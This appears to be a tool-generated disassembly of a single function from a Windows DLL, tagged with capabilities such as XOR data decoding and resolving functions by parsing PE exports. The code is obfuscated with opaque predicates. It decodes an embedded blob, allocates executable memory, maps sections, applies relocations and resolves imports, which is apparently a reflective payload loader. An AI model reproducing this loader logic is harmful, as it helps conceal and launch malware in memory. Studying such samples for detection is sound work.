Function at 0x1800010c0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010f2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010f2
nop
jmp 0x1800010f0
mov eax, 0x10
call entry0
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov esi, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001132
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x180001132
nop
jmp 0x180001130
mov r11b, byte [section..data]
mov r15d, dword [0x180020a74]
mov r8d, dword [0x180020a78]
lea r13d, [r15 - 1]
imul r13d, r15d
and r13d, 1
sete al
cmp r8d, 0xa
setl bl
or bl, al
mov r9b, byte [0x180004001]
mov al, byte [0x180004002]
mov byte [rbp - 8], al
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, r11d
sete al
cmp dword [0x180020a6c], 0xa
mov r11b, byte [0x180004003]
setl r12b
or r12b, al
mov r14d, ebx
or r14b, bl
cmp edx, 0xa
jl 0x1800011b3
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001350
mov byte [rdi], cl
test bl, bl
jne 0x1800011c6
nop dword [rax]
test bl, bl
je 0x1800011c0
mov byte [rdi], cl
cmp r8d, 0xa
jl 0x1800011d5
test r13d, r13d
jne 0x180001350
mov byte [rdi + 1], r9b
test bl, bl
jne 0x1800011e8
nop dword [rax]
test bl, bl
je 0x1800011e0
mov byte [rdi + 1], r9b
cmp r8d, 0xa
jl 0x1800011f7
test r13d, r13d
jne 0x180001350
mov al, byte [rbp - 8]
mov byte [rdi + 2], al
test bl, bl
jne 0x18000121a
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001210
mov al, byte [rbp - 8]
mov byte [rdi + 2], al
cmp r8d, 0xa
jl 0x180001229
test r13d, r13d
jne 0x180001350
mov byte [rdi + 3], r11b
test bl, bl
jne 0x180001248
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001240
mov byte [rdi + 3], r11b
cmp r8d, 0xa
jl 0x180001257
test r13d, r13d
jne 0x180001350
test r12b, r12b
jne 0x1800013b2
cmp r8d, 0xa
jl 0x18000126f
test r13d, r13d
jne 0x180001370
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001380
cmp edx, 0xa
jl 0x180001295
test eax, eax
jne 0x180001360
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001390
cmp edx, 0xa
jl 0x1800012bb
test eax, eax
jne 0x180001360
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x1800013a0
cmp edx, 0xa
jl 0x1800012e1
test eax, eax
jne 0x180001360
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov esi, r15d
cmovne esi, esi
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x1800013b0
cmp edx, 0xa
jl 0x180001309
test eax, eax
jne 0x180001360
mov eax, 0x10
call entry0
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
cmp edx, 0xa
jl 0x18000119f
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
je 0x18000119f
jmp 0x180001130
jmp 0x180001350
jmp 0x180001360
jmp 0x180001370
jmp 0x180001380
jmp 0x180001390
jmp 0x1800013a0
jmp 0x1800013b0
mov r12d, dword [rdi]
test r12, r12
je 0x1800014d5
xor ebx, ebx
cmp r12d, 0x10
jb 0x18000149c
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x18000149c
mov ebx, r12d
and ebx, 0xfffffff0
lea rcx, [rbx - 0x10]
mov rdx, rcx
shr rdx, 4
add rdx, 1
mov eax, edx
and eax, 1
test rcx, rcx
je 0x180001463
mov rdi, rax
sub rdi, rdx
xor edx, edx
lea rsi, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov ecx, edx
and ecx, 0x3e0
movups xmm1, xmmword [rcx + rsi + 4]
movups xmm2, xmmword [rdx + rsi + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rdx + rsi + 0x414]
xorps xmm2, xmm0
movups xmmword [rdx + rsi + 0x404], xmm2
lea ecx, [rdx + 0x10]
and ecx, 0x3f0
movups xmm2, xmmword [rcx + rsi + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rdx + rsi + 0x414], xmm1
add rdx, 0x20
add rdi, 2
jne 0x180001410
jmp 0x180001465
xor edx, edx
test rax, rax
je 0x180001497
mov eax, edx
and eax, 0x3f0
lea rcx, section..data
movups xmm0, xmmword [rax + rcx + 4]
movups xmm1, xmmword [rdx + rcx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rdx + rcx + 0x404], xmm1
cmp rbx, r12
je 0x1800014d5
lea rdx, section..data
nop word cs:[rax + rax]
nop dword [rax]
mov eax, ebx
and eax, 0x3ff
movzx eax, byte [rax + rdx + 4]
xor al, byte [rbx + rdx + 0x404]
xor al, 0xc
mov byte [rbx + rdx + 0x404], al
add rbx, 1
cmp rbx, r12
jb 0x1800014b0
cmp r8d, 0xa
jl 0x1800014e2
test r13d, r13d
je 0x1800014e2
jmp 0x1800014e0
lea r15, section..data
lea rsi, [r12 + r15]
add rsi, 0x404
mov cl, byte [r12 + r15 + 0x404]
nop dword [rax]
mov byte [r10], cl
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x180001521
test edx, edx
jne 0x180001500
cmp ebx, 0xa
jl 0x18000152e
test edx, edx
jne 0x180001810
mov r8b, byte [rsi + 1]
mov byte [r10 + 1], r8b
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x180001588
test edx, edx
je 0x180001588
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp ebx, 0xa
setl cl
or cl, al
nop word cs:[rax + rax]
nop
test cl, cl
je 0x180001580
mov byte [r10 + 1], r8b
cmp ebx, 0xa
jl 0x180001595
test edx, edx
jne 0x180001810
mov r8b, byte [rsi + 2]
mov byte [r10 + 2], r8b
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x1800015e8
test edx, edx
je 0x1800015e8
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp ebx, 0xa
setl cl
or cl, al
nop dword [rax + rax]
test cl, cl
je 0x1800015e0
mov byte [r10 + 2], r8b
cmp ebx, 0xa
jl 0x1800015f5
test edx, edx
jne 0x180001810
mov r8b, byte [rsi + 3]
mov byte [r10 + 3], r8b
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x180001648
test edi, edi
je 0x180001648
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
sete al
cmp ebx, 0xa
setl cl
or cl, al
nop dword [rax + rax]
test cl, cl
je 0x180001640
mov byte [r10 + 3], r8b
cmp ebx, 0xa
jl 0x180001655
test edi, edi
jne 0x180001810
cmp dword [0x180020a6c], 0xa
jl 0x180001832
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001832
cmp ebx, 0xa
jl 0x18000168b
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001830
mov cl, byte [r12 + r15 + 0x404]
nop word cs:[rax + rax]
nop dword [rax]
mov byte [r10], cl
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x1800016c1
test edx, edx
jne 0x1800016a0
cmp ebx, 0xa
jl 0x1800016ce
test edx, edx
jne 0x180001820
mov r8b, byte [r12 + r15 + 0x405]
mov byte [r10 + 1], r8b
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x180001728
test edx, edx
je 0x180001728
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp ebx, 0xa
setl cl
or cl, al
nop dword [rax + rax]
test cl, cl
je 0x180001720
mov byte [r10 + 1], r8b
cmp ebx, 0xa
jl 0x180001735
test edx, edx
jne 0x180001820
mov r8b, byte [r12 + r15 + 0x406]
mov byte [r10 + 2], r8b
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ebx, 0xa
jl 0x180001788
test edx, edx
je 0x180001788
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp ebx, 0xa
setl cl
or cl, al
nop
test cl, cl
je 0x180001780
mov byte [r10 + 2], r8b
cmp ebx, 0xa
jl 0x180001795
test edx, edx
jne 0x180001820
mov r8b, byte [r12 + r15 + 0x407]
mov byte [r10 + 3], r8b
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x1800017e8
test edi, edi
je 0x1800017e8
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
sete al
cmp ebx, 0xa
setl cl
or cl, al
nop
test cl, cl
je 0x1800017e0
mov byte [r10 + 3], r8b
cmp ebx, 0xa
jl 0x1800017f1
test edi, edi
jne 0x180001820
cmp ebx, 0xa
jl 0x1800014f4
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x1800014f4
jmp 0x1800014e0
jmp 0x180001810
jmp 0x180001820
jmp 0x180001830
lea rcx, [rsi + 4]
mov r9d, dword [r10]
test r9, r9
je 0x18000197f
xor eax, eax
cmp r9d, 0x20
jb 0x18000195a
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x18000195a
lea rax, [r9 + r15]
add rax, 4
cmp rcx, rax
jae 0x180001887
lea rax, [rsi + r9]
add rax, 4
lea rdx, str.kZpKlchVFOrgUycrTtEJxdhfCwOdQafFkYGwevtsJQMEOGhIavTYGHuziLOgrZASILvDYkRmhOQuSYvhmvOGkFQgbuxzZxtxYWMtPuHnvuWumQsVSRhPerrjMHJDGwPLkMkowOIcqWZdfqiYqePhnYkjqmtYKjCVUUrOArWFxHqcHuKMghZcqUOEayPqOMHDQDgBEUIQpPLfkLHBVyvYWpinVFjaVwSnEByUsATxFJvGIMQCOePeOHHUZxQzppBRKZqoeZGlzIEKBIGSdWigJhmFzSqulkpDwlZqGXRhUaWaqXtvyDiBdLIYcDRaaMyHVzOkulckBDysJQYgdBOSrJQpCCVjEPeGcFWSuwZmBMqlqMakjSzoczPwOeEzXXsxhsILkZIzRsxmADSrzEMGRvVBnftGIhLzoEgBZbLDGRQHHozbcsuVtaKKYyIuuBQwuGvBxxbbAdrSGIklHLQlYduTgFsOtCYWOrfkxYilVXUtbRtLaqnrXGuunYQruUjxxdLDTBVZbxOVUdJoeMzhmdrcqxPsTAMZtkKuHrlZVAnnVYXWmjKITYBWzcdLMhEMOIBASuprXgDsTWmKgmcfVJcdrmpxeOryKTaXGWbzulUrDAoZkGFnbtFUKZJLYHtKElAqGXypmSRWwJBApcxFzVhlSqpRHrLwhjQuKlxbVZZaxcHYcjenewPLPnmlTEiZwLFgIRxpcJvEkczvvmzXmuuzTRyZAZhHqsHCxCIHkZdRQTFokycbVaBbPeatzRqbbacuFzAcLXUCzyovBHhcijxidflMqkCidLtzlXdmqHQIEcxbtbDIFIDJCyzEfYXZSBKqwCiYyjgOwGQKZTHkaYEMvoifamLPbZcacJoRBhjDcvlAYaCEgprtIIacOVUOHEqqrxipijlYuYPQOmbuqKvaHmmSlggCCzYiMpJMsvvWGBmVIUHtbZdXzhCenOoeWKQEMTbywaZfwIFXOqauqILxKcFatdYMPVjOveYfdFapfkcbWTIWmdHDEhxvgxy
cmp rax, rdx
jbe 0x180001887
xor eax, eax
jmp 0x18000195a
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001922
lea rdi, [r12 + r15]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x1800018bb
jmp 0x180001924
xor esi, esi
test r8, r8
je 0x180001955
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
je 0x18000197f
lea rbx, [r12 + r15]
add rbx, 0x408
mov edx, eax
and edx, 0x3ff
movzx edx, byte [rdx + r15 + 4]
xor byte [rbx + rax], dl
add rax, 1
cmp rax, r9
jb 0x180001965
movsxd rax, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
jl 0x1800019a2
mov ebx, dword [0x180020a80]
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
je 0x1800019a2
jmp 0x1800019a0
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x1800019a2
lea rsi, [rax + r15]
add rsi, 0x404
mov r13, rcx
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800019b9
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800019c7
mov qword [rbp - 0x20], r14
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800019d5
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800019e2
mov rdi, rbx
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800019ee
sub rsp, 0x20
mov qword [rbp - 8], rcx
call fcn.180002690
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a32
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001a32
nop word cs:[rax + rax]
nop
jmp 0x180001a30
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001a62
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001a62
nop dword [rax]
jmp 0x180001a60
mov qword [rbp - 0x10], rsi
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add r11, r9
mov edx, dword [r11]
add rdx, r9
mov rsi, r13
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x180001a98
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001a82
cmp cl, al
je 0x180001aa6
add r11, 4
add r10, 2
jmp 0x180001a79
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ae2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ae2
nop dword [rax]
jmp 0x180001ae0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b0f
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001b0f
jmp 0x180001b0d
add r8, r10
mov edx, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add r9, r10
add rdx, r10
mov eax, dword [rdx]
add rax, r10
mov rsi, r14
movzx ebx, byte [rsi]
movzx ecx, byte [rax]
test bl, bl
je 0x180001b40
add rsi, 1
add rax, 1
cmp bl, cl
je 0x180001b2a
cmp bl, cl
je 0x180001b4e
add rdx, 4
add r9, 2
jmp 0x180001b22
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.180002690
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001bb0
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001bb0
jmp 0x180001bae
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001bdd
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001bdd
jmp 0x180001bdb
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add r9, r10
add rdx, r10
lea rdi, [r12 + r15]
add rdi, 0x408
mov eax, dword [rdx]
add rax, r10
xor esi, esi
movzx ebx, byte [rdi + rsi]
movzx ecx, byte [rax + rsi]
test bl, bl
je 0x180001c16
add rsi, 1
cmp bl, cl
je 0x180001c02
cmp bl, cl
je 0x180001c24
add rdx, 4
add r9, 2
jmp 0x180001bfb
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 0x10]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov qword [rbp], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001c73
test edx, edx
je 0x180001c73
jmp 0x180001c71
cmp ecx, 0xa
jl 0x180001c7e
test edx, edx
je 0x180001c7e
jmp 0x180001c7c
mov rdx, qword [rbp - 0x10]
lea r14, [rdx + 0x108]
xor r10d, r10d
mov rdx, qword [rbp - 0x10]
movzx edx, word [rdx + 6]
cmp r10, rdx
jae 0x180001eb2
lea rax, [r10 + r10*4]
lea r8, [r14 + rax*8]
add r8, 0xc
lea r11, [r14 + rax*8]
add r11, 0x10
lea r9, [r14 + rax*8]
add r9, 0x14
cmp dword [0x180020a78], 0xa
jl 0x180001cd7
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001eac
mov eax, dword [r8]
add rax, qword [rbp]
mov ecx, dword [r11]
mov edx, dword [r9]
add rdx, r15
add rdx, 0x404
sub rcx, 1
jb 0x180001d34
movzx ebx, byte [rdx]
mov byte [rax], bl
mov esi, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp ebx, 0xa
jl 0x180001d1e
test edi, edi
je 0x180001d1e
movzx ebx, byte [rdx]
mov byte [rax], bl
jmp 0x180001cf4
add rdx, 1
add rax, 1
cmp ebx, 0xa
jl 0x180001cee
test edi, edi
je 0x180001cee
jmp 0x180001ea6
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001e8c
test edx, edx
je 0x180001e8c
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180001d7a
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001eae
mov r12d, dword [r11]
test r12, r12
je 0x180001de2
mov eax, dword [r9]
lea rdi, [rax + r15]
add rdi, 0x404
mov edx, dword [r8]
add rdx, qword [rbp]
jmp 0x180001daa
add r12, 0xffffffffffffffff
add rdx, 1
add rdi, 1
test r12, r12
je 0x180001de2
movzx eax, byte [rdi]
mov byte [rdx], al
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp ecx, 0xa
jl 0x180001dd4
test ebx, ebx
je 0x180001dd4
movzx eax, byte [rdi]
mov byte [rdx], al
jmp 0x180001daa
cmp ecx, 0xa
jl 0x180001d99
test ebx, ebx
je 0x180001d99
jmp 0x180001ea8
cmp ecx, 0xa
jl 0x180001df6
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001eb0
mov ebx, dword [r11]
test rbx, rbx
je 0x180001e60
mov eax, dword [r9]
lea rdi, [rax + r15]
add rdi, 0x404
mov edx, dword [r8]
add rdx, qword [rbp]
jmp 0x180001e26
add rbx, 0xffffffffffffffff
add rdx, 1
add rdi, 1
test rbx, rbx
je 0x180001e60
movzx eax, byte [rdi]
mov byte [rdx], al
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea r12d, [rax - 1]
imul r12d, eax
and r12d, 1
cmp ecx, 0xa
jl 0x180001e54
test r12d, r12d
je 0x180001e54
movzx eax, byte [rdi]
mov byte [rdx], al
jmp 0x180001e26
cmp ecx, 0xa
jl 0x180001e15
test r12d, r12d
je 0x180001e15
jmp 0x180001eaa
cmp dword [0x180020a6c], 0xa
jl 0x180001e7e
mov edx, dword [0x180020a70]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x180001d66
cmp ecx, 0xa
jge 0x180001cc8
jmp 0x180001cd7
add r10, 1
cmp ecx, 0xa
jl 0x180001c8c
test edx, edx
je 0x180001c8c
jmp 0x180001c7c
jmp 0x180001ea6
jmp 0x180001ea8
jmp 0x180001eaa
jmp 0x180001eac
jmp 0x180001eae
jmp 0x180001eb0
mov rdx, qword [rbp]
mov rbx, qword [rbp - 0x10]
sub rdx, qword [rbx + 0x30]
cmp ecx, 0xa
jl 0x180001ed0
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x180001ed0
jmp 0x180001ece
mov rbx, qword [rbp - 0x10]
mov ebx, dword [rbx + 0xb0]
add rbx, qword [rbp]
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
je 0x1800020c6
mov edi, dword [rbx + 4]
cmp rdi, 8
jb 0x180002090
cmp ecx, 0xa
jl 0x180001f12
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x1800020be
add rdi, r8
shr rdi, 1
mov r9d, edi
xor r10d, r10d
cmp r10, r9
je 0x180002090
movzx edi, word [rbx + r10*2 + 8]
mov esi, edi
shr esi, 0xc
mov r11d, edi
and r11d, 0xfff
cmp edi, 0xa000
jae 0x180001f69
cmp esi, 3
jne 0x180002074
cmp ecx, 0xa
jl 0x180001f61
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002043
mov rax, r11
jmp 0x18000201a
cmp esi, 0xa
jne 0x180002074
cmp ecx, 0xa
jl 0x180001f86
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020c2
mov edi, r11d
add rdi, qword [rbp]
mov eax, dword [rbx]
add qword [rax + rdi], rdx
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180002074
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x180001fbe
jmp 0x180002074
mov eax, dword [rbx]
add qword [rdi + rax], rdx
mov eax, dword [rbx]
add qword [rdi + rax], rdx
cmp dword [0x180020a6c], 0xa
jl 0x180001fde
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fb8
mov eax, dword [rbx]
add qword [rax + rdi], rdx
cmp dword [0x180020a6c], 0xa
jl 0x180001f8d
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fb8
jmp 0x180001f8d
add r10, 1
cmp ecx, 0xa
jl 0x180001f1e
test edi, edi
je 0x180001f1e
jmp 0x1800020be
mov ecx, dword [rbx]
mov rsi, qword [rbp]
lea rcx, [rsi + rcx*4]
add dword [rcx + rax*4], edx
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x180002074
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180002074
mov eax, r11d
mov rcx, qword [rbp]
lea rcx, [rcx + rax*4]
mov esi, dword [rbx]
add dword [rcx + rsi*4], edx
mov esi, dword [rbx]
add dword [rcx + rsi*4], edx
cmp dword [0x180020a6c], 0xa
jl 0x18000201a
mov esi, dword [0x180020a70]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
jne 0x18000204e
jmp 0x18000201a
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ecx, 0xa
jl 0x180002000
test edi, edi
je 0x180002000
jmp 0x1800020c0
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ecx, 0xa
jl 0x1800020a2
test edi, edi
jne 0x1800020c4
mov esi, dword [rbx + 4]
add rbx, rsi
cmp ecx, 0xa
jl 0x180001ee8
test edi, edi
je 0x180001ee8
jmp 0x180001ece
jmp 0x1800020be
jmp 0x1800020c0
jmp 0x1800020c2
jmp 0x1800020c4
mov rdx, qword [rbp - 0x10]
mov ebx, dword [rdx + 0x90]
mov rdx, qword [rbp]
mov qword [rbp - 0x18], rbx
mov edi, dword [rdx + rbx + 0xc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
test edi, edi
je 0x180002609
mov rbx, qword [rbp]
add qword [rbp - 0x18], rbx
add rbx, 2
mov qword [rbp - 0x30], rbx
test dl, 1
je 0x180002620
cmp ecx, 0xa
jl 0x180002125
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002622
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002690
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002157
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002610
mov r14d, edi
add r14, qword [rbp]
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000218d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002612
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdi, r9
mov ebx, dword [rdi]
add rbx, r9
mov rsi, r13
movzx eax, byte [rsi]
movzx edx, byte [rbx]
test al, al
je 0x1800021be
add rsi, 1
add rbx, 1
cmp al, dl
je 0x1800021a8
cmp al, dl
je 0x1800021cc
add rdi, 4
add rcx, 2
jmp 0x1800021a0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov r15, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea ebx, [rax - 1]
imul ebx, eax
cmp ecx, 0xa
jl 0x1800022f8
mov edx, ebx
and edx, 1
je 0x1800022f8
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002690
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000223f
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002614
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000226e
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002616
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdi, r9
mov ebx, dword [rdi]
add rbx, r9
mov rsi, r13
